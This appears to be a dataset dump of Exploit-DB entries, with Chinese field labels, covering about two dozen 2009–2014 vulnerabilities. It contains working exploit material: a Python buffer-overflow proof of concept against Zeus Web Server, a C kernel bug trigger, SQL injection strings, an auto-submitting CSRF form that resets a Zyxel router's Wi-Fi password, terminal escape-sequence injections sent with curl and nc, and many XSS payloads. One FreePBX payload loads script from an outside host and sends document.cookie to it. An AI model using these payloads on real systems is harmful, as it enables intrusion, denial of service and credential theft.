QLWD/code_shield huggingface dataset:
标题: Zeus Web Server 4.x - 'SSL2_CLIENT_HELLO' Remote Buffer Overflow (PoC) EDB-ID: 33531 CVE: 2010-0359 类型: DOS 平台: MULTIPLE 发布日期: 2010-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/37829/info

Zeus Web Server is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Versions prior to Zeus Web Server 4.3r5 are vulnerable. 

#!/usr/bin/env python
# zeus_ssl2.py
#
# Use this code at your own risk. Never run it against a production system.
# 
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

import socket
import sys
import struct

def send_req(host,port):
        buf=""
        buf+=chr(1)
        buf+="\x00\x02" 
        buf+=struct.pack(">H",21)
        buf+=struct.pack(">H",0xffff)                                
        buf+=struct.pack(">H",16)
        buf+="\x07\x00\xc0\x03\x00\x80\x01\x00\x80\x08\x00\x80"
       buf+="\x06\x00\x40\x04\x00\x80\x02\x00\x80"
        buf+="A"* 50000  
        buf+="C"*16

        siz =  chr( ( (len(buf) & 0xff00) >> 8)| 0x80) + chr(len(buf)&0xff)
        buf = siz + buf

 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.connect((host,port))
 sock.sendall(buf)
 sock.recv(1000)
 sock.close()

if __name__=="__main__":
 if len(sys.argv)<3:
  print "usage: %s host port" % sys.argv[0]
  sys.exit()

 send_req(sys.argv[1],int(sys.argv[2])) URL: https://www.exploit-db.com/exploits/33531
标题: Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation EDB-ID: 33523 CVE: 2009-4141 类型: LOCAL 平台: LINUX 发布日期: 2009-12-16 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/37806/info

Linux kernel is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to execute arbitrary code with kernel-level privileges.

Successful exploits will result in the complete compromise of affected computers.

The Linux Kernel 2.6.28 and later are vulnerable. 
*/

#ifndef _GNU_SOURCE
# define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <stdbool.h>
#include <fcntl.h>
#include <stdlib.h>
#include <assert.h>
#include <asm/ioctls.h>

// Testcase for locked async fd bug -- taviso 16-Dec-2009
int main(int argc, char **argv)
{
    int fd;
    pid_t child;
    unsigned flag = ~0;

    fd = open("/dev/urandom", O_RDONLY);

    // set up exclusive lock, but dont block
    flock(fd, LOCK_EX | LOCK_NB);

    // set ASYNC flag on descriptor
    ioctl(fd, FIOASYNC, &flag);

    // close the file descriptor to trigger the bug
    close(fd);

    // now exec some stuff to populate the AT_RANDOM entries, which will cause
    // the released file to be used.

    // This assumes /bin/true is an elf executable, and that this kernel
    // supports AT_RANDOM.
    do switch (child = fork()) {
            case  0: execl("/bin/true", "/bin/true", NULL);
                     abort();
            case -1: fprintf(stderr, "fork() failed, %m\n");
                     break;
            default: fprintf(stderr, ".");
                     break;
    } while (waitpid(child, NULL, 0) != -1);

    fprintf(stderr, "waitpid() failed, %m\n");
    return 1;
} URL: https://www.exploit-db.com/exploits/33523
标题: Zenoss 2.3.3 - Multiple SQL Injections EDB-ID: 33511 CVE: 2010-0712 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/37802/info

Zenoss is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Zenoss 2.3.3 is affected; other versions may be vulnerable as well. 

http://www.example.com/zport/dmd/Events/getJSONEventsInfo?severity=1&state=1&filter=& offset=0&count=60 into outfile "/tmp/z" URL: https://www.exploit-db.com/exploits/33511
标题: Videos Tube 1.0 - Multiple SQL Injections EDB-ID: 33514 CVE: 2014-3962 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-26 漏洞利用脚本: # Exploit Title: Videos Tube SQL Injection and Remote Code Execution
# Google Dork: inurl:"single.php?url=" video
# Date: 05.05.2014
# Exploit Author: Mustafa ALTINKAYNAK
# Vendor Homepage: http://www.phpscriptlerim.com
# Software Link: http://demo.phpscriptlerim.com/free/videostube/
# Version: 1.0

Description (Açıklama)
========================
Category, showing video on the page are two types of SQL injection. Boolean-based blind and AND / OR time-based blind. Incoming data can be filtered off light.

Vulnerability
========================
1) videocat.php?url=test' AND 3383=3383 AND 'ODau'='ODau (with SQLMAP Tool)
2) single.php?url=test' AND 3383=3383 AND 'ODau'='ODau (with SQLMap Tool) URL: https://www.exploit-db.com/exploits/33514
标题: ZYXEL P-660HW-T1 3 Wireless Router - Cross-Site Request Forgery EDB-ID: 33518 CVE: 2014-4162 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-05-26 漏洞利用脚本: # Exploit Title: Zyxel P-660HW-T1 v3 Wireless Router - CSRF Vulnerabilities
# Date: 05/22/2014
# Author: Mustafa ALTINKAYNAK
# Vendor Homepage:http://www.zyxel.com/tr/tr/products_services/p_660hw_series.shtml?t=p
# Category: Hardware/Wireless Router
# Tested on: Zyxel P-660HW-T1 v3 Wireless Router
# Patch/ Fix: Vendor has not provided any fix for this yet
---------------------------
 
Technical Details
---------------------------
This vulnerability was tested at the P-660HW-T1 devices. Admin panel is open you can run remote code destination.
You can send the form below to prepare the target. Please offending. Being partners in crime.

Disclosure Timeline
---------------------------
05/21/2014  Contacted Vendor 
05/22/2014  Vendor Replied
04/22/2014  Vulnerability Explained (No reply received)
05/23/2014  Full Disclosure

Exploit Code 
---------------------------
 
Change Wifi (WPA2/PSK) password & SSID by CSRF
---------------------------------------------------------------------------------
<html>
<body onload="document.form.submit();">
<form action="http://192.168.1.1/Forms/WLAN_General_1"
method="POST" name="form">
<input type="hidden" name="EnableWLAN" value="on">
<input type="hidden" name="Channel_ID" value="00000005">
<input type="hidden" name="ESSID" value="WIFI NAME">
<input type="hidden" name="Security_Sel" value="00000002">
<input type="hidden" name="SecurityFlag" value="0">
<input type="hidden" name="WLANCfgPSK" value="123456">
<input type="hidden" name="WLANCfgWPATimer" value="1800">
<input type="hidden" name="QoS_Sel" value="00000000">
<input type="hidden" name="sysSubmit" value="Uygula">
</form>
</body>
</html> 

-----------

Mustafa ALTINKAYNAK
twitter : @m_altinkaynak <https://twitter.com/m_altinkaynak>
www.mustafaaltinkaynak.com URL: https://www.exploit-db.com/exploits/33518
标题: GNU Bash 4.0 - 'ls' Control Character Command Injection EDB-ID: 33508 CVE: 2010-0002 类型: LOCAL 平台: LINUX 发布日期: 2010-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/37776/info

GNU Bash is prone to a command-injection vulnerability because it fails to adequately sanitize control characters in the 'ls' command.

Attackers can exploit this issue to execute arbitrary commands in a bash terminal; other attacks may also be possible. 

The following example is available:

1. mkdir $(echo -e 'couc\x08\x08asd')
2. ls

Displays:
coasd/

Expected:
couc??asd/ URL: https://www.exploit-db.com/exploits/33508
标题: BOA Web Server 0.94.x - Terminal Escape Sequence in Logs Command Injection EDB-ID: 33504 CVE: 2009-4496 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/37718/info

Boa Webserver is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Boa Webserver 0.94.14rc21 is vulnerable; other versions may also be affected.

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a URL: https://www.exploit-db.com/exploits/33504
标题: Docmint 1.0/2.1 - 'id' Cross-Site Scripting EDB-ID: 33505 CVE: 2010-0319 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/37721/info

Docmint is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Docmint 1.0 is vulnerable; versions 2.1 and higher are also vulnerable; other versions may be affected as well. 

http://www.example.com/index.php?id='"><script>alert(document.cookie)</script>
http://www.example.com/index.php?id=<marquee><font color=Red size=16>Th3 RDX/font></marquee>
http://www.example.com/index.php?id=<HTML><HEAD><TITLE>Redirect...</TITLE><META HTTP-EQUIV="REFRESH" CONTENT="0; URL=http://www.inj3ct0r.com"></HEAD><BODY>Redirect in corso...</BODY></HTML> URL: https://www.exploit-db.com/exploits/33505
标题: thttpd 2.24 - HTTP Request Escape Sequence Terminal Command Injection EDB-ID: 33499 CVE: 2009-4491 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/37714/info

Acme 'thttpd' and 'mini_httpd' are prone to a command-injection vulnerability because they fail to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

This issue affects thttpd 2.25b and mini_httpd 1.19; other versions may also be affected. 

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload URL: https://www.exploit-db.com/exploits/33499
标题: Varnish 2.0.6 - 'Terminal Escape Sequence in Logs' Command Injection EDB-ID: 33498 CVE: 2009-4488 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/37713/info

Varnish is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Varnish 2.0.6 is vulnerable; other versions may also be affected. 

The following example is available:

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload URL: https://www.exploit-db.com/exploits/33498
标题: Yaws 1.55 - 'Logs' Terminal Escape Sequence Command Injection EDB-ID: 33502 CVE: 2009-4495 类型: REMOTE 平台: WINDOWS 发布日期: 2010-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/37716/info

Yaws is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Yaws 1.85 is vulnerable; other versions may also be affected. 

The following example is available:

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload URL: https://www.exploit-db.com/exploits/33502
标题: Orion Application Server 2.0.7 - 'Terminal Escape Sequence in Logs' Command Injection EDB-ID: 33503 CVE: 2009-4493 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/37717/info

Orion Application Server is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Orion Application Server 2.0.7 is vulnerable; other versions may also be affected. 


curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload URL: https://www.exploit-db.com/exploits/33503
标题: Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Injection EDB-ID: 33490 CVE: 2009-4487 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/37711/info

The 'nginx' program is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

This issue affects nginx 0.7.64; other versions may also be affected.

The following examples are available:

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload URL: https://www.exploit-db.com/exploits/33490
标题: Mayan-EDms Web-Based Document Management OS System - Multiple Persistent Cross-Site Scripting Vulnerabilities EDB-ID: 33493 CVE: 2014-3840 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-05-24 漏洞利用脚本: # Exploit Title: Multiple Stored XSS
# Software: Maya EDMS
# Software Link: http://www.mayan-edms.com/downloads/Mayan%20EDMS%20v0.13.ova
# Version: 0.13 - latest
# Author: Dolev Farhi, email: dolev(at)openflare(dot)org   @f1nhack
# Date: 21.5.2014
# Tested on: Kali Linux
# Vendor homepage: www.mayan-edms.com



1. About the application:
=========================
Mayan (or Mayan EDMS) is a web-based free/libre document management system for managing documents within an organization


2. Vulnerability Description:
===============================
An attacker is able to create documents and tags with malicious code, potentially stealing admin cookies browsing or editing the documents.


3. Steps to reproduce:
========================
* Stored XSS 1:
Tags -> Create new tag -> <script>alert("XSS")</script> -> Save

any navigation to documents or search will execute the XSS

* Stored XSS 2: 
Setup -> Sources -> Staging folders -> Add new source -> Title it: <script>alert("XSS")</script> 
Submit -> navigate to edit it again -> XSS executes

* Stored XSS 3:
Setup -> Bootstrap -> Create new bootstrap setup -> Name <script>alert("XSS")</script> -> submit -> XSS

* Stored XSS 4:
Setup -> Smart links -> Create new smart link -> Title it <script>alert("XSS")</script> -> submit -> edit -> XSS executes


5. Proof of concept video
http://research.openflare.org/poc/maya-edms/maya-edms_multiple_xss.avi URL: https://www.exploit-db.com/exploits/33493
标题: AOLServer Terminal 4.5.1 - Escape Sequence in Logs Command Injection EDB-ID: 33497 CVE: 2009-4494 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/37712/info

AOLServer is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

AOLServer 4.5.1 is vulnerable; other versions may also be affected.

The following example is available:

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc www.example.com 80 < payload URL: https://www.exploit-db.com/exploits/33497
标题: mini_httpd 1.18 - HTTP Request Escape Sequence Terminal Command Injection EDB-ID: 33500 CVE: 2009-4490 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/37714/info
 
Acme 'thttpd' and 'mini_httpd' are prone to a command-injection vulnerability because they fail to adequately sanitize user-supplied input in logfiles.
 
Attackers can exploit this issue to execute arbitrary commands in a terminal.
 
This issue affects thttpd 2.25b and mini_httpd 1.19; other versions may also be affected. 

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload URL: https://www.exploit-db.com/exploits/33500
标题: Cherokee 0.99.30 - Terminal Escape Sequence in Logs Command Injection EDB-ID: 33501 CVE: 2009-4489 类型: REMOTE 平台: WINDOWS 发布日期: 2010-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/37715/info

Cherokee is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Cherokee 0.99.30 and prior are vulnerable.

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a URL: https://www.exploit-db.com/exploits/33501
标题: Ruby 1.9.1 - WEBrick 'Terminal Escape Sequence in Logs' Command Injection EDB-ID: 33489 CVE: 2009-4492 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/37710/info


Ruby WEBrick is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Versions *prior to* the following are affected:

Ruby 1.8.6 patchlevel 388
Ruby 1.8.7 patchlevel 249
Ruby 1.9.1 patchlevel 378 

The following example is available:

% xterm -e ruby -rwebrick -e 'WEBrick::HTTPServer.new(:Port=>8080).start' &
% wget http://www.example.com:8080/%1b%5d%32%3b%6f%77%6e%65%64%07%0a URL: https://www.exploit-db.com/exploits/33489
标题: MATLAB R2009b - 'dtoa' Implementation Memory Corruption EDB-ID: 33480 CVE: 2009-0689 类型: DOS 平台: LINUX 发布日期: 2010-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/37688/info

MATLAB is prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.

Attackers may exploit this issue to execute arbitrary code within the context of affected applications.

MATLAB R2009b is affected; other versions may also be vulnerable. 

cxib=0.<?php echo str_repeat("1",296450); ?> URL: https://www.exploit-db.com/exploits/33480
标题: PHPepperShop 2.5 - 'USER_ARTIKEL_HANDLING_AUFRUF.php' Cross-Site Scripting EDB-ID: 33487 CVE: 2010-1361 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/37707/info

PhPepperShop is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PhPepperShop 2.5 is vulnerable; other versions may also be affected.

http://www.example.com/shop/USER_ARTIKEL_HANDLING_AUFRUF.php?darstellen=1\"+onmouseover%3Dalert(411780276689)+&lowlimit=0&highlimit=15&bilderanzeigen=true&Suchstring=111-222-1933email%40address.tst&javascript_enabled=true&PEPPERSESS=d0499c7999470455b75dc23b45e7fb1b&w=1280&h=971 URL: https://www.exploit-db.com/exploits/33487
标题: Apple Mac OSX 10.x - 'libc/strtod(3)' Memory Corruption EDB-ID: 33479 CVE: 2009-0689 类型: DOS 平台: OSX 发布日期: 2010-01-08 漏洞利用脚本: // source: https://www.securityfocus.com/bid/37687/info

Mac OS X is prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.

Attackers may exploit this issue to execute arbitrary code within the context of affected applications.

Mac OS X 10.5 and 10.6 are affected; other versions may also be vulnerable. 

#include <stdio.h>
#include <stdlib.h>
int main ()
{
char number[] = "0.1111111111...11", *e;
double weed = strtod(number, &e);
printf("grams = %lf\n", weed);
return 0;
} URL: https://www.exploit-db.com/exploits/33479
标题: Jamit Job Board - 'post_id' Cross-Site Scripting EDB-ID: 33485 CVE: 2010-0321 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/37701/info

Jamit Job Board is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/jobs/index.php?type=111-222-1933email@address.tst&mode=view&pin_x=0&pin_y=0&post_id=1>"> URL: https://www.exploit-db.com/exploits/33485
标题: LXR 0.9.x - Cross Referencer Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33469 CVE: 2009-4497 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/37612/info

LXR Cross Referencer is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LXR Cross Referencer 0.9.5 and 0.9.6 are affected; other versions may also be vulnerable. 

http://www.example.com/lxr/ident?i=<script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/33469
标题: D-Link DKVM-IP8 - 'auth.asp' Cross-Site Scripting EDB-ID: 33471 CVE: 2010-0936 类型: REMOTE 平台: HARDWARE 发布日期: 2010-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/37646/info

D-LINK DKVM-IP8 is prone to a cross-site scripting vulnerability because the device's web interface fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The following example data is available:

The POST variable nickname has been set to 1>">"> URL: https://www.exploit-db.com/exploits/33471
标题: PHPInstantGallery 1.1 - 'admin.php' Cross-Site Scripting EDB-ID: 33445 CVE: 2009-4446 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/37502/info

phpInstantGallery is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpInstantGallery 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/instantgallery/admin.php/>"><ScRiPt>alert(213771818860)</ScRiPt> URL: https://www.exploit-db.com/exploits/33445
标题: FreePBX 2.5.2 - '/admin/config.php?tech' Cross-Site Scripting EDB-ID: 33442 CVE: 2009-4458 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/37482/info

FreePBX is prone to a cross-site scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

FreePBX 2.5.2 is vulnerable; other versions may also be affected. 

location.href='https://www.example.com/admin/admin/config.php?display=trunks&tech=%3C/script%3E%20%22%3E
%3Cscript%20src%3Dhttp%3A//global-evolution.info/etc/grep.php%3E%3C/script%3E?nice='+escape(document.cookie) URL: https://www.exploit-db.com/exploits/33442